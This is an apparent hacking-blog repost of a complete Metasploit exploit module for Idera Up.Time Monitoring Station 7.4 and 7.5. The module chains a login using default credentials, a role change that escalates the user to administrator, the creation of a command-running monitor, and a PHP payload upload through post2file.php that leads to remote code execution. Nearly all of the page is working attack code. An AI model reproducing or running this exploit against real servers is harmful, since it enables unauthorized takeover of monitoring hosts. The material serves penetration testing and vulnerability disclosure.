Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863551263

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit4 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',
      'Description'     => %q{
        This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.

        The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,
        which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
        by the vendor.

        Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it
        can still be bypassed and gain privilege escalation, and allows the attacker to upload file
        again, and execute arbitrary commands.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Denis Andzakovic', # Found file upload bug in post2file.php in 2013
          'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>',
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>'
        ],
      'References'      =>
        [
          ['EDB', '37888'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php']
        ],
       'Platform'       => ['php'],
       'Arch'           => ARCH_PHP,
       'Targets'        => [['Automatic', {}]],
       'Privileged'     => 'true',
       'DefaultTarget'  => 0,
       # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015,
       # it was discovered again by Ewerson 'Crash' Guimaraes.
       'DisclosureDate' => 'Nov 18 2013'
    ))

    register_options(
      [
        Opt::RPORT(9999),
        OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample'])
      ], self.class)

    register_advanced_options(
      [
        OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']),
        OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']),
        OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe'])
      ], self.class)
  end

  def print_status(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_error(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_good(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  # Application Check
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      vprint_error("Connection timed out.")
      return Exploit::CheckCode::Unknown
    end

    n = Nokogiri::HTML(res.body)
    uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]')

    if uptime_text
      version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first
      vprint_status("Found version: #{version}")
      if version >= '7.4.0' && version <= '7.5.0'
        return Exploit::CheckCode::Appears
      end
    end

    Exploit::CheckCode::Safe
  end

  def create_exec_service(*args)
    cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args
    res_service = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'main.php'),
      'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
      'vars_get' => {
        'section'          => 'ERDCInstance',
        'subsection'       => 'add',
      },
      'vars_post' => {
        'initialERDCId' => '20',
        'target' => '1',
        'targetType' => 'systemList',
        'systemList' => '1',
        'serviceGroupList' => '-10',
        'initialMode' => 'standard',
        'erdcName' => 'Exploit',
        'erdcInitialName' => '',
        'erdcDescription' => 'Exploit',
        'hostButton' => 'system',
        'erdc_id' => '20',
        'forceReload' => '0',
        'operation' => 'standard',
        'erdc_instance_id' => '',
        'label_[184]' => 'Script Name',
        'value_[184]' => cmd,
        'id_[184]' => 'process',
        'name_[process]' => '184',
        'units_[184]' => '',
        'guiBasic_[184]' => '1',
        'inputType_[184]' => 'GUIString',
        'screenOrder_[184]' => '1',
        'parmType_[184]' => '1',
        'label_[185]' => 'Arguments',
        'value_[185]' => cmdargs,
        'id_[185]' => 'args',
        'name_[args]' => '185',
        'units_[185]' => '',
        'guiBasic_[185]' => '1',
        'inputType_[185]' => 'GUIString',
        'screenOrder_[185]' => '2',
        'parmType_[185]' => '1',
        'label_[187]' => 'Output',
        'can_retain_[187]' => 'false',
        'comparisonWarn_[187]' => '-1',
        'comparison_[187]' => '-1',
        'id_[187]' => 'value_critical_output',
        'name_[output]' => '187',
        'units_[187]' => '',
        'guiBasic_[187]' => '1',
        'inputType_[187]' => 'GUIString',
        'screenOrder_[187]' => '4',
        'parmType_[187]' => '2',
        'label_[189]' => 'Response time',
        'can_retain_[189]' => 'false',
        'comparisonWarn_[189]' => '-1',
        'comparison_[189]' => '-1',
        'id_[189]' => 'value_critical_timer',
        'name_[timer]' => '189',
        'units_[189]' => 'ms',
        'guiBasic_[189]' => '0',
        'inputType_[189]' => 'GUIInteger',
        'screenOrder_[189]' => '6',
        'parmType_[189]' => '2',
        'timing_[erdc_instance_monitored]' => '1',
        'timing_[timeout]' => '60',
        'timing_[check_interval]' => '10',
        'timing_[recheck_interval]' => '1',
        'timing_[max_rechecks]' => '3',
        'alerting_[notification]' => '1',
        'alerting_[alert_interval]' => '120',
        'alerting_[alert_on_critical]' => '1',
        'alerting_[alert_on_warning]' => '1',
        'alerting_[alert_on_recovery]' => '1',
        'alerting_[alert_on_unknown]' => '1',
        'time_period_id' => '1',
        'pageFinish' => 'Finish',
        'pageContinue' => 'Continue...',
        'isWizard' => '1',
        'wizardPage' => '2',
        'wizardNumPages' => '2',
        'wizardTask' => 'pageFinish',
        'visitedPage[1]' => '1',
        'visitedPage[2]' => '1'
      })
  end

  def exploit
    vprint_status('Trying to login...')
    # Application Login
    res_auth = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'index.php'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      })

    unless res_auth
      fail_with(Failure::Unknown, 'Connection timed out while trying to login')
    end

    # Check OS
    phpfile_name = rand_text_alpha(10)
    if res_auth.headers['Server'] =~ /Unix/
      vprint_status('Found Linux installation - Setting appropriated PATH')
      phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph')
      uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards')

      cmdargs = "#{uploadpath}#{phpfile_name}.txt"
      cmd = phppath
    else
      vprint_status('Found Windows installation - Setting appropriated PATH')
      phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe')
      uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\')
      cmd = datastore['CmdPath']
      cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\""
    end

    if res_auth.get_cookies =~ /login=true/
      cookie = Regexp.last_match(1)
      cookie_split = res_auth.get_cookies.split(';')
      vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
      print_good('Login success')

      # Privilege escalation getting user ID
      res_priv = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'main.php'),
        'vars_get' => {
          'page'    => 'Users',
          'subPage' => 'UserContainer'
        },
       'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
      )

      unless res_priv
        fail_with(Failure::Unknown, 'Connection timed out while getting userID.')
      end

      matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/)

      unless matchdata
        fail_with(Failure::Unknown, 'Unable to find userID for escalation')
      end

      get_id = matchdata[0].gsub(/[^\d]/, '')
      vprint_status('Escalating privileges...')

      # Privilege escalation post
      res_priv_elev = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'main.php'),
        'vars_get' => {
          'section'          => 'UserContainer',
          'subsection'       => 'edit',
          'id'               => "#{get_id}"
        },
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
        'vars_post' => {
          'operation' => 'submit',
          'disableEditOfUsernameRoleGroup' => 'false',
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'passwordConfirm' => datastore['PASSWORD'],
          'firstname' => rand_text_alpha(10),
          'lastname' => rand_text_alpha(10),
          'location' => '',
          'emailaddress' => '',
          'emailtimeperiodid' => '1',
          'phonenumber' => '',
          'phonenumbertimeperiodid' => '1',
          'windowshost' => '',
          'windowsworkgroup' => '',
          'windowspopuptimeperiodid' => '1',
          'landingpage' => 'MyPortal',
          'isonvacation' => '0',
          'receivealerts' => '0',
          'activexgraphs' => '0',
          'newuser' => 'on',
          'newuser' => '1',
          'userroleid' => '1',
          'usergroupid[]' => '1'
        }
      )

      unless res_priv_elev
        fail_with(Failure::Unknown, 'Connection timed out while escalating...')
      end

      # Refresing perms
      vprint_status('Refreshing perms...')
      res_priv = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'index.php?loggedout'),
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
      )

      unless res_priv
        fail_with(Failure::Unknown, 'Connection timed out while refreshing perms')
      end

      res_auth = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'index.php'),
        'vars_post' => {
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD']
        }
      )

      unless res_auth
        fail_with(Failure::Unknown, 'Connection timed out while authenticating...')
      end

      if res_auth.get_cookies =~ /login=true/
        cookie = Regexp.last_match(1)
        cookie_split = res_auth.get_cookies.split(';')
        vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
        print_good('Priv. Escalation success')
      end

      # CREATING Linux EXEC Service
      if res_auth.headers['Server'] =~ /Unix/
        vprint_status('Creating Linux Monitor Code exec...')
        create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)

      else
        # CREATING Windows EXEC Service#
        vprint_status('Creating Windows Monitor Code exec...')
        create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)
      end

      # Upload file
      vprint_status('Uploading file...')
      up_res = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'wizards', 'post2file.php'),
        'vars_post' => {
          'file_name' => "#{phpfile_name}.txt",
          'script'    => payload.encoded
        }
      )

      unless up_res
        fail_with(Failure::Unknown, 'Connection timed out while uploading file.')
      end

      vprint_status('Checking Uploaded file...')
      res_up_check = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt")
      )

      if res_up_check && res_up_check.code == 200
        print_good("File found: #{phpfile_name}")
      else
        print_error('File not found')
        return
      end

      # Get Monitor ID

      vprint_status('Fetching Monitor ID...')
      res_mon_id = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'),
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
        'vars_get' => {
          'query'               => 'GET_SERVICE_PAGE_ERDC_LIST',
          'iDisplayStart'       => '0',
          'iDisplayLength'      => '10',
          'sSearch'             => 'Exploit'
        }
       )

      unless res_mon_id
        fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID')
      end

      matchdata = res_mon_id.body.match(/id=?[^>]*>/)

      unless matchdata
        fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.')
      end

      mon_get_id = matchdata[0].gsub(/[^\d]/, '')
      print_good("Monitor id aquired:#{mon_get_id}")
      # Executing monitor
      send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'main.php'),
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
        'vars_post' => {
          'section'    => 'RunERDCInstance',
          'subsection' => 'view',
          'id'         => mon_get_id,
          'name'       => 'Exploit'
        }
      )
    else
      print_error('Cookie not found')
    end
  end
end